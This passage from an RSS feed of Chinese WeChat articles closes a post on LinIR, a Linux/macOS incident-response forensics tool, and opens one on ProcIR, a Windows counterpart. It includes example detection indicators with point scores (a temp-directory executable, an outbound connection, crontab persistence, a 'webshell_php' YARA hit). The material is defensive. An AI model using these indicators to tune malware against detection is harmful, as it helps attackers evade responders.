initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">需要内核版本 &gt;= 4.x（某些功能需要 5.x）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">需要特定内核配置（</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">CONFIG_BPF</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">CONFIG_BPF_SYSCALL</span></code><span leaf="">）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">需要 BTF 或手动适配不同内核版本</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">违反&#34;单二进制零依赖&#34;的原则</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">LinIR 选择基于 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc</span></code><span leaf=""> + netlink + BPF（macOS）的方案，能在几乎所有 Linux 2.6+ 和 macOS 10.15+ 上运行。未来可能作为可选增强引入 eBPF，但不会作为主路径。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">为什么用 Go？</span></span></h3><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">CGO_ENABLED=0</span></code><span leaf=""> 可以完全静态编译</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">交叉编译到 8 个 Linux 架构 + 2 个 macOS 架构只需要 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">GOOS=xxx GOARCH=xxx go build</span></code></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">没有运行时依赖（不需要 libc、不需要 Python、不需要 JVM）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">并发模型适合同时采集多个数据源</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">二进制大小 ~11MB，可以 scp 到任何目标机</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">为什么证据优先于结论？</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">LinIR 不会告诉你&#34;这台机器被黑了&#34;。它会告诉你：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">PID 1234 的 exe 在 /tmp 下（+10）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">它有到 1.2.3.4:443 的 ESTABLISHED 连接（+10）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">它关联到一个 crontab 持久化项（+10）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">YARA 规则 &#34;webshell_php&#34; 命中了它的 exe（+20）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">组合：临时目录+YARA（+10）</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">总分 60，severity: high，confidence: high。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">剩下的判断交给分析人员。工具给证据，人做决策。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">七、最后</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">LinIR 是一个还在持续迭代的项目。目前 v1.0.0 覆盖了应急响应中最核心的几个环节：进程、网络、持久化、完整性、YARA、IOC 监控。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">它不完美——PID 归属有竞速问题、macOS 支持有平台限制、评分模型需要持续调优。但它提供了一个</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">在不可信环境下尽量可信的取证起点</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果你是安全从业者、应急响应人员、或者对 Linux/macOS 内核取证感兴趣的开发者，欢迎试用和反馈。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">GitHub：</span></strong><span leaf=""> <a href="https://github.com/dogadmin/LinIR" target="_blank">https://github.com/dogadmin/LinIR</a></span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">MIT License，欢迎 Star、Issue、PR。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><em style="box-sizing: border-box;font-style: italic;color: black;"><span leaf="">本文基于 LinIR v1.0.0，工具仅用于授权的安全评估和应急响应。</span></em></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6960d9e5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247484053%26idx%3D1%26sn%3D0b9ddaca7e4a74e4afa0c806dab47c6a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 01 Apr 2026 23:58:00 +0800</pubDate>
    </item>
    <item>
      <title>ProcIR-面向安全工程师的一键式应急响应工具</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247484049&amp;idx=1&amp;sn=7091f36d40164fcd7e8a3d5dc7371e3d</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>黑屋安服仔</span> <span>2026-03-28 22:40</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=22ece584&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTAFC5BLa6G1PrcCCC2gnrwfFic0UAZSauSFVxtvXeQVrneCpPC5H1LAtzXdUlK28OhWI4cpLFy7gmZPCxy5tx8dfZl8eGgrbbwg0AHusF3NM%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;"><span leaf="">前言</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">做应急响应的师傅们应该都有过这种体验：</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">接到电话，上机排查，然后开始一套组合拳——tasklist、netstat、autoruns、schtasks、wmic、reg query……一个个命令敲完，再逐条比对，光是把&#34;当前系统到底跑了啥&#34;搞清楚，可能半小时就过去了。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">更难受的是，很多攻击不是&#34;正在运行&#34;的，它可能是一个定时任务、一个 WMI 订阅、一个白加黑——你用 tasklist 根本看不到，但它就在那等着被触发。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以我写了 </span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">ProcIR</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一个面向安全工程师的 Windows 应急响应排查工具，一次扫描，把进程、持久化、历史痕迹、事件日志、DLL 加载、内存布局全看了，按风险评分排好序，直接告诉你该看哪个。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">这个工具解决什么问题</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一句话：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">在应急响应中，用最短时间发现最可疑的东西。</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不是杀软，不做查杀。不联网，不上传。不常驻，不监控。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">扫一次，看结果，辅助研判。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">设计思路：不是单点检测，是多维融合</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span 